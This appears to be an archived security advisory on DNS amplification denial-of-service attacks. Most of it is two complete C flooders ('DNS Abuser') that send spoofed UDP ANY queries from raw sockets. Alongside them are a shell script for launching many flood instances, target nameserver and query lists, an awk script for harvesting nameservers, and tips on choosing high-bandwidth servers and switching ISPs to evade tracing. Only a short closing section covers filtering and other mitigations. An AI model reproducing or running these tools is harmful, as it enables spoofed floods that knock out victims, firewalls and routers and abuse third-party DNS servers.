COMMAND
DNS
SYSTEMS AFFECTED
munices
PROBLEM
Carlos Veira posted following. A quick list of what has been
added/modified to the original code once posted and archived
somewhere here follows:
1. Ability of managing a variable and different number of name
servers and querys.
2. Ability of taking input data from text files.
3. Added some fixes to the flood engine.
4. Ability of controlling the times to be executed.
5. Added some 'paralell processing' features.
It's somehow necessary to add some simple memory management. The
current version works with a buffer which can manage MAX_SEVERS
entries. There are no memory management at all. That means
that, when reading a file, only the first MAX_SERVERS are
considered. If we want to extend this to larger files this is to
be added. Another improvement would be to enhance the hash
function in order to get a more uniform statistic distribution.
This would carry out a better 'paralell' performance. This
'paralell' feature trys to query different name servers with
different questions at the same time. Such a thing would avoid
some lame filters and make the attack more distributable among
the whole DNS servers.
To work out this feature, the flooder begins in a different point
depending on its PID. Given this situation, one can fork diferent
processes from de command line and each of them will perform a
different action in a certain moment. Of course more complex and
efficient solutions could be worked out, but, once again, they
are far long from my initial aims. As it can be watched, such
attack can be as powerful (or even better) as smurf or fraggle.
Think this is more flexible and owns a grater degree of
distribution. Let's put some evil imagination in motion...
Impact? First of all, some notes:
1. We are talking about UDP traffic. That means that there's no
connection.
2. We also must consider that the victim will recive packets with
different sources (IPs and ports).
3. We must remember that DNS is a critical service in the Internet
almost every service depend on it in a different degree.
4. DNS can be reached from any place on the Internet: there is no
restriction.
Let's consider a couple of scenarios. If the target is not
shielded by a firewall, the effect of this attack is obvious: the
host is flooded to dead. So, what happend in a filtered
environment? If the firewall uses content inspection techniques,
should drop all this traffic (these are valid answers but no query
has been performed on the protected network). In this case, the
affected host will be the firewall. This is even more worrying
than the first case because firewalls are esential devices on
network conectivity. If the firewall fails, all the network fails
(from a conectivity point of view, of course). We must remember
that a firewall is more vulnerable to this kind of overloads. To
the *physical* traffic flooding itself, we have to add the
following:
a. A firewall must perform a rule check for each I/O traffic.
That means some load.
b. The logging process on the firewall means added load, mainly
I/O load through disk.
An encreasing number of DNS servers means a proportional raise on
the distribution degree this attack has. So, to bring a big
firewall to its knees we only need to take a grate list of DNS
servers. The obvious side effect of such situation is a traffic
overload on the network segments on the way to the target. Using
network switches would help to limit this annoying side effect.
Exploit follows:
/*
* DNS Abuser v0.4b
*
* Author: Nemo (cveira@airtel.net)
* http://www.deepzone.org
*
* This code is a little enhancement based on DOOMDNS by FuSyS & |scacco|
* http://www.www.s0ftpj.org
*
* Usage: dnsa <target>
* dnsa <target> <times> [<dns_servers.txt> <querys.txt>]
*
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netdb.h>
#include <time.h>
#define IP_HEAD_BASE 20
#define UDP_HEAD_BASE 8
#define DEF_TIMES 1000
#define DNS_QSIZE 255
#define MAX_QUERYS 25 // maximum buffer size
#define MAX_SERVERS 25 // maximum buffer size
#define CNAME_LENGTH 255 // max CNAME length
#define DEF_DOMAINS "./domains.txt" // domain list file
#define DEF_QUERYS "./querys.txt" // query list file
struct DNS_MSG {
HEADER head;
char query[DNS_QSIZE];
};
struct dns_pkt {
struct iphdr ip;
struct udphdr udp;
char data[1000];
};
struct domain_buff {
int used;
char cname[CNAME_LENGTH];
};
typedef struct domain_buff tdbuff;
tdbuff dnsquery[MAX_QUERYS];
tdbuff domains[MAX_SERVERS];
unsigned long saddr;
int sd, dptr, qptr; // socket & array pointers
FILE *dd, *qd; // file pointers
int startptr(tdbuff *buff, int buff_limit) // hash function
{
int init = 0;
init = getpid() % buff_limit;
while (!buff[init].used)
{
if (++init > buff_limit) init = 0;
}
return init;
}
void rst_buff(tdbuff *b, int max)
{
memset(b, 0, sizeof(tdbuff)*max);
}
void readln(FILE *f, tdbuff *buff)
{
int eol = 0,
i = 0;
tdbuff b;
rst_buff(&b, 1);
do
{
b.cname[i] = fgetc(f);
if (!ferror(f))
{
if (!feof(f))
{
if (b.cname[i] == '\n')
{
b.cname[i] = '\0';
b.used = 1;
eol = 1;
}
else if ((i+1) >= CNAME_LENGTH)
{
fprintf(stderr, "\nInvalid CNAME or invalid file format. Quitting...\n");
exit(7);
}
else
{
i++;
}
}
else
{
if (b.cname[i] == '\n')
{
b.cname[i] = '\0';
b.used = 1;
}
}
}
else
{
fprintf(stderr, "\nRead error. Quitting...\n");
exit(6);
}
}
while ((!ferror(f) && !feof(f)) && !eol);
if (!ferror(f) && !feof(f)) *buff = b;
}
unsigned long nameResolve(char *hostname)
{
struct in_addr addr;
struct hostent *hostEnt;
if ((inet_aton(hostname, &addr)) == 0)
{
if (!(hostEnt=gethostbyname(hostname)))
{
fprintf(stderr,"\nTarget '%s' does not exist\n",hostname);
exit(0);
}
bcopy(hostEnt->h_name,(char *)&addr.s_addr,hostEnt->h_length);
}
return addr.s_addr;
}
void forge (unsigned long daddr, unsigned short psrc, unsigned short pdst)
{
struct sockaddr_in sin;
struct dns_pkt dpk;
struct DNS_MSG killer;
int shoot, len;
// adjust pointer ...
if (qptr < MAX_QUERYS)
{
if(!dnsquery[dptr].used) qptr++;
}
else
{
qptr = 0;
}
dnsquery[qptr].used = 1;
// build packets ...
memset(&killer, 0, sizeof(killer));
killer.head.id = getpid();
killer.head.rd = 1;
killer.head.aa = 0;
killer.head.opcode = QUERY;
killer.head.qr = 0;
killer.head.qdcount = htons(1);
killer.head.ancount = htons(0);
killer.head.nscount = htons(0);
killer.head.arcount = htons(0);
strcat(killer.query, dnsquery[qptr].cname);
killer.query[strlen(dnsquery[qptr].cname) + 2] = 0x00FF;
killer.query[strlen(dnsquery[qptr].cname) + 4] = 0x0001;
memset(&dpk, 0, sizeof(dpk));
dpk.udp.source = psrc;
dpk.udp.dest = pdst;
len = (12 + strlen(killer.query) + 5);
dpk.udp.len = htons(UDP_HEAD_BASE + len);
memcpy(dpk.data, (void*)&killer, len);
dpk.ip.ihl = 5;
dpk.ip.version = 4;
dpk.ip.tos = 0;
dpk.ip.tot_len = htons(IP_HEAD_BASE+UDP_HEAD_BASE+len);
dpk.ip.frag_off = 0;
dpk.ip.ttl = 64;
dpk.ip.protocol = IPPROTO_UDP;
dpk.ip.saddr = saddr;
dpk.ip.daddr = daddr;
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = pdst;
sin.sin_addr.s_addr = daddr;
shoot = sendto(sd ,
&dpk ,
(IP_HEAD_BASE + UDP_HEAD_BASE + len),
0 ,
(struct sockaddr *)&sin ,
sizeof(sin)
);
if (shoot < 0) fprintf(stderr, "SPOOF ERROR");
}
void doomzone (void)
{
unsigned long daddr;
unsigned short psrc, pdest;
// adjust pointer ...
if (dptr < MAX_SERVERS)
{
if(!domains[dptr].used) dptr++;
}
else
{
dptr = 0;
}
domains[dptr].used = 1;
daddr = nameResolve(domains[dptr].cname);
psrc = htons(1024 + (rand()%2000));
pdest = htons(53);
forge(daddr, psrc, pdest);
}
int main (int argc, char *argv[])
{
int i, sd_opt, code;
unsigned int times = DEF_TIMES;
printf("\n\n\033[1;32mDNS Abuser v0.4b\033[0m");
printf("\n\033[1;34mDNS-based flooder by Nemo - =
http://www.deepzone.org\033[0m");
printf("\n\033[1;34mBased on FuSyS & |scacco| work: D00MDNS - http://www.s0ftpj.org\033[0m\n");
// ->simple<- parameter checking :P
if (argc < 2)
{
fprintf(stderr, "\nUsage: %s <target>", argv[0]);
fprintf(stderr, "\n %s <target> <times> [<dns_servers.txt> <querys.txt>]\n\n", argv[0]);
exit(0);
}
saddr = nameResolve(argv[1]);
if (argc > 2) times = atoi(argv[2]);
// loading files
if (argc > 3)
{
if ((dd = fopen(argv[4], "r")) == NULL)
{
fprintf(stderr, "\nCannot open domain file. Quitting...\n");
exit(4);
}
if ((qd = fopen(argv[5], "r")) == NULL)
{
fprintf(stderr, "\nCannot open query file. Quitting...\n");
exit(5);
}
}
else
{
if((dd = fopen(DEF_DOMAINS, "r")) == NULL)
{
fprintf(stderr, "\nCannot open domain file. Quitting...\n");
exit(4);
}
if((qd = fopen(DEF_QUERYS, "r")) == NULL)
{
fprintf(stderr, "\nCannot open query file. Quitting...\n");
exit(5);
}
}
rst_buff(domains, MAX_SERVERS);
rst_buff(dnsquery, MAX_QUERYS);
i = 0;
do
{
readln(dd, &domains[i]);
i++;
}
while ((i < MAX_SERVERS) && !feof(dd));
i = 0;
do
{
readln(qd, &dnsquery[i]);
i++;
}
while ((i < MAX_QUERYS) && !feof(qd));
// opening sockets ...
srand(time(NULL));
sd_opt = 1;
if ((sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
fprintf(stderr, "\nSocket error. Quitting...\n");
exit(2);
}
if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, &sd_opt, sizeof(sd_opt)) < 0)
{
fprintf(stderr, "\nIP Error. Quitting...\n");
exit(3);
}
dptr = startptr(domains, MAX_SERVERS);
qptr = startptr(dnsquery, MAX_QUERYS);
// flooding engine
printf("\n\033[1;34mFlooding %s:\033[0m\n", argv[1]);
while(times--)
{
doomzone();
printf("\033[1;34m.\033[0m");
}
printf("\n\n");
fclose(dd);
fclose(qd);
return(0);
}
xn.sh follows:
#!/bin/bash
#
# xNuke v0.1b - *nix DoS amplifier
#
# Author: Nemo (Nemo@deepzone.org)
# DeepZone Digital Security - http://www.deepzone.org
#
# Usage: xn <instances> <app> <target> [other_parameters]
#
echo
echo "xNuke v0.1b - *nix DoS amplifier."
echo
n=$1
while [ -n "$n" ]; do
$2 $3 $4 $5 $6 > /dev/null &
n=n-1
done
querys.txt:
www.microsoft.com
www.novell.com
www.nrg.be
www.ldg.be
www.mir.es
www.hispasec.com
www.securityfocus.com
www.geocities.com
www.tripod.com
www.hypermart.net
domains.txt:
ns1.allinfosys.com
ns2.allinfosys.com
ns.uu.net
dns.ncsa.es
dns2.ncsa.es
Zelea posted following. This program works by sending spoofed
UDP packets to a list of nameservers. The packets contain valid
type ANY class IN queries. The amplification effect comes from
the fact that the query packet is much smaller in size than the
answer. A list of queries is already included in this source.
These queries have been selected for the highest amplification
ratio (currently between 20-25) but you can provide your own list
of queries in a separate file. ICMP (udp port unreachable)
packets are sent back to the nameservers reducing even more the
victim's bandwidth. This program has a short delay at the start
due to the time required to resolve the nameserver's IPs. Then it
sends each UDP query at full speed to each nameserver from the
list. The nameservers file has one server per line.
To quickly build yourself a list of nameservers use the following
script after you have downloaded the domain inaddr.zone.gz file.
#!/bin/sh
ZONE=inaddr.zone;
if [ "x$1x" == "xx" ]; then
echo "Usage: print_ns aprox_nr_of_servers";
exit
fi
if [ ! -f $ZONE ]; then
echo "Zone file $ZONE not found";
exit
fi
NR=`wc -l $ZONE`;
awk --assign=TOT="$NR" --assign=DES="$1" '
BEGIN { srand(); th=DES/TOT; };
/NS/ { if( rand() < th )
{
fi = split( $0, entry );
if( entry[fi-1] == "NS" )
serv[entry[fi]] = 1;
}};
END { for( ns in serv )
printf "%s\n", ns;
}' $ZONE
If you plan to use high bandwidth you should select the
nameservers by their own bandwidth (they should have at least 50
times the bandwidth of the incoming queries otherwise the packets
send to them will be just wasted) [a way of checking a server's
bandwidth capacity is using 'bing']. This kind of DoS attack has
several advantages over a smurf attack. There are more than 25000
nameservers which will always be out there. It is also more
difficult to block because UDP queries are valid packets which
pass through almost all firewalls. Since every computer has to
have some kind of name resolver the only way to block this is by
denying all UDP packets with source port 53 except those coming
from your local nameserver. [There is still your own nameserver
that can flood you in this case]. The code:
/*
* DNS Abuser v1.0
* Working version by Zelea
* Last modified: 26 February 2000
*
* Based on dnsabuser.c by Nemo (cveira@airtel.net) and
* on DOOMDNS by FuSyS
*
* Usage: dnsa1 <target> <times> [<dns_server.txt> [<dns_query.txt>]]
* times = 0 means continuously
*/
/* This program is for educational purpose only */
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netdb.h>
#include <time.h>
#define IP_HEAD_BASE 20
#define UDP_HEAD_BASE 8
#define DNS_QSIZE 64
#define MAX_LINE 255
#define MAX_QUERYS 255 // maximum buffer size
#define MAX_SERVERS 255 // maximum buffer size
#define QUERY_LENGTH 32 // max QUERY length
#define DEF_DOMAINS "./dns_server.txt" // name servers
#define DEF_QUERYS "./dns_query.txt" // query list file
struct DNS_MSG
{
HEADER head;
char query[DNS_QSIZE];
};
struct dns_pkt
{
struct iphdr ip;
struct udphdr udp;
char data[DNS_QSIZE];
};
char dns_query[MAX_QUERYS][QUERY_LENGTH];
char *dns_query_def[] =
{ "ca", "de", "es", "ch", "be", "ie", "cr", "org", "com", "edu",
"gov", "net", "se", "gr", "ro", "fr", "it", "ru", "pl", "ma",
"in", "fi", "nrc.ca", "pse.pl", "arpa", "ucd.ie", "nl", "sk",
"at", "psi.net", "uqam.ca", "ac.cy", "cz", "sh", "nu",
"gmx.net", "ac.in", "usc.edu", "ac.uk", NULL };
unsigned long dns_servers[MAX_SERVERS];
unsigned long saddr;
int sd; //
unsigned long
nameResolve( const char *name )
{
struct hostent *host;
struct sockaddr_in addr;
memset( &addr, 0, sizeof( struct sockaddr_in ) );
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr( name );
if ( addr.sin_addr.s_addr == -1 )
{
if ( ( host = gethostbyname( name ) ) == NULL )
{
fprintf( stderr, "Unable to resolve host %s\n", name );
return ( -1 );
}
addr.sin_family = host->h_addrtype;
memcpy( ( caddr_t ) & addr.sin_addr, host->h_addr, host->h_length );
}
return ( unsigned long ) addr.sin_addr.s_addr;
}
void
doomzone( void )
{
static int nsptr = 0;
static int qptr = 0;
unsigned long daddr;
unsigned short psrc, pdest;
struct sockaddr_in sin;
struct dns_pkt dpk;
struct DNS_MSG killer;
int shoot, len;
char *p, *plgt;
if ( dns_servers[nsptr] == 0L )
nsptr = 0;
daddr = dns_servers[nsptr++];
if ( *dns_query[qptr] == '\0' )
qptr = 0;
psrc = htons( 1024 + ( rand( ) % 2000 ) );
pdest = htons( 53 );
// build packets ...
memset( &killer, 0, sizeof( killer ) );
killer.head.id = getpid( );
killer.head.rd = 1;
killer.head.aa = 0;
killer.head.opcode = QUERY;
killer.head.qr = 0;
killer.head.qdcount = htons( 1 );
killer.head.ancount = htons( 0 );
killer.head.nscount = htons( 0 );
killer.head.arcount = htons( 0 );
strcat( killer.query + 1, dns_query[qptr++] );
p = plgt = killer.query;
do
{
p++;
while ( *p != '.' && *p != '\0' )
p++;
*plgt = ( u_char ) ( p - plgt - 1 );
plgt = p;
}
while ( *p == '.' );
p++;
*(( unsigned short * ) p)++ = htons( T_ANY ); /* type ANY */
*(( unsigned short * ) p)++ = htons( C_IN ); /* class IN */
len = 12 + p - killer.query;
memset( &dpk, 0, sizeof( dpk ) );
dpk.udp.source = psrc;
dpk.udp.dest = pdest;
dpk.udp.len = htons( UDP_HEAD_BASE + len );
memcpy( dpk.data, ( void * ) &killer, len );
dpk.ip.ihl = 5;
dpk.ip.version = 4;
dpk.ip.tos = 0;
dpk.ip.tot_len = htons( IP_HEAD_BASE + UDP_HEAD_BASE + len );
dpk.ip.frag_off = 0;
dpk.ip.ttl = 64;
dpk.ip.protocol = IPPROTO_UDP;
dpk.ip.saddr = saddr;
dpk.ip.daddr = daddr;
memset( &sin, 0, sizeof( sin ) );
sin.sin_family = AF_INET;
sin.sin_port = pdest;
sin.sin_addr.s_addr = daddr;
shoot = sendto( sd, &dpk,
( IP_HEAD_BASE + UDP_HEAD_BASE + len ), 0,
( struct sockaddr * ) &sin, sizeof( sin ) );
if ( shoot < 0 )
fprintf( stderr, "SPOOF ERROR" );
}
int
main( int argc, char *argv[] )
{
FILE *dd, *qd; // file pointers
int i, j, sd_opt;
unsigned int times = 0;
unsigned long ns_addr;
char line[MAX_LINE];
char *p;
// unbuffered output
setbuf( stdout, NULL );
setbuf( stderr, NULL );
// ->simple<- parameter checking :P
if ( argc < 3 )
{
fprintf( stderr, "\nUsage:\t%s <target> <times> "
"[<dns_servers.txt> [<dns_query.txt>]]\n\n", argv[0] );
exit( 0 );
}
saddr = nameResolve( argv[1] );
times = atoi( argv[2] );
// loading files
dd = fopen( DEF_DOMAINS, "r" );
if ( argc > 3 )
{
if ( ( dd = fopen( argv[4], "r" ) ) == NULL )
{
fprintf( stderr, "\nCannot open domain file %s. Quitting...\n", argv[4] );
exit( 0 );
}
}
if ( argc > 4 )
{
if ( ( qd = fopen( argv[5], "r" ) ) == NULL )
{
fprintf( stderr, "\nCannot open query file %s. Quitting...\n", argv[5] );
exit( 0 );
}
}
else
{
qd = fopen( DEF_QUERYS, "r" );
}
if ( dd == NULL )
{
fprintf( stderr, "\nCannot open domain file. Quitting...\n" );
exit( 0 );
}
i = 0;
do
{
fgets( line, MAX_LINE - 1, dd );
if ( ( p = strchr( line, '\n' ) ) != NULL )
*p = '\0';
if ( ( ns_addr = nameResolve( line ) ) != -1 )
dns_servers[i++] = ns_addr;
}
while ( ( i < MAX_SERVERS - 1 ) && !feof( dd ) );
dns_servers[i] = 0L;
i = 0;
j = 0;
if ( qd == NULL )
{
while ( ( i < MAX_QUERYS - 1 ) && dns_query_def[j] != NULL )
{
if ( strlen( dns_query_def[j] ) < QUERY_LENGTH )
strcpy( dns_query[i++], dns_query_def[j++] );
else
j++;
}
}
else
{
do
{
fgets( line, MAX_LINE - 1, qd );
if ( ( p = strchr( line, '\n' ) ) != NULL )
*p = '\0';
if ( strlen( line ) < QUERY_LENGTH )
strcpy( dns_query[i++], line );
}
while ( ( i < MAX_QUERYS - 1 ) && !feof( qd ) );
}
*dns_query[i] = '\0';
fclose( dd );
fclose( qd );
// opening sockets ...
srand( time( NULL ) );
sd_opt = 1;
if ( ( sd = socket( AF_INET, SOCK_RAW, IPPROTO_RAW ) ) < 0 )
{
fprintf( stderr, "\nSocket error. Quitting...\n" );
exit( 0 );
}
if ( setsockopt( sd, IPPROTO_IP, IP_HDRINCL, &sd_opt,
sizeof( sd_opt ) ) < 0 )
{
fprintf( stderr, "\nIP Error. Quitting...\n" );
exit( 0 );
}
printf( "\n\n\033[1;36mDNS Abuser v1.0\033[0m" );
printf( "\n\033[1;31mDNS-based flooder\033[0m" );
// flooding engine
printf( "\n\033[1;32mFlooding %s:\033[0m\n", argv[1] );
i = 0;
while ( times == 0 || i < times )
{
doomzone( );
i++;
if ( !( i % 100 ) )
printf( "\033[0;32m.\033[0m" );
}
printf( "\n\n" );
return ( 0 );
}
SOLUTION
Possible solutions do follow.
a. Source IP filtering & Bandwith control:
===========================================
a.1 Source IP filtering:
This may be one the most effective measures. By giving this type
of rule to routers, we *limit* the IP spoofing possibilities:
such rule would only allow traffic to pass over a network
interface if the source IP belongs to a valid range on that
interface.
a.2 Bandwith control:
Giving an I/O rate to DNS traffic could *help* too. This would
stop a flood based on a few DNS servers been queried intensively.
Nevertheless, it is not very useful to the target network when
hitted by a highly distributed DNS flood. The reasons are the
same ones given in the case of the firewall. In this case the
damaged system would be the router itself.
a.3 Problems:
Source IP filtering it's great but it needs to be implemented on
every routing device on the Internet. If there's a place wich
allows IP spoofing, the risk remains there. Unfortunately, IP
filtering could not be necessary on some cases. Let's see:
besides the flooding effect, we get a global network overload. If
we also consider that today it's pretty common having more than
one PPP Internet access... So, we've got it...
So it seems easy to log into an ISP perform the attack using a
valid ISP IP as the source, then disconnect and log in again with
other ISP while the other is being nuked by thousands of DNS
servers on the Internet... The success on the choice of the valid
ISP IP address depends on the ISP network architecture and its
*internal* filters.
b. UDP quick 'handshake'
=========================
A better solution is a quick UDP 'handshake' before a remote
server or client is authorized to use a name server. Thus, if you
wish to use a name server, you'd send a UDP 'connection request'
packet to it and it would reply with a key that you could use for
future requests. Since the key would be sent to the victim, and
you couldn't amplify without it, the attack would be gone.
The problem is, over the Internet at large, name servers need to
connect to large numbers of different name servers, as opposed to
the same ones over and over. So this would have some impact.
The important thing to realize is that the first step to fixing
this is name servers not providing server-client service to
anyone. Once the server-client service is restricted to 'local'
IPs, the server-server protocol can be locked down.
The only real solution is to have ISP actually police the source
addresses of packets entering their networks from their customers.
There is nothing new here. Good ISP's do this already, bad ones
don't. The best ones will even notify the customers that they
have a problem when they see attacks like this lauched from within
the customer's network.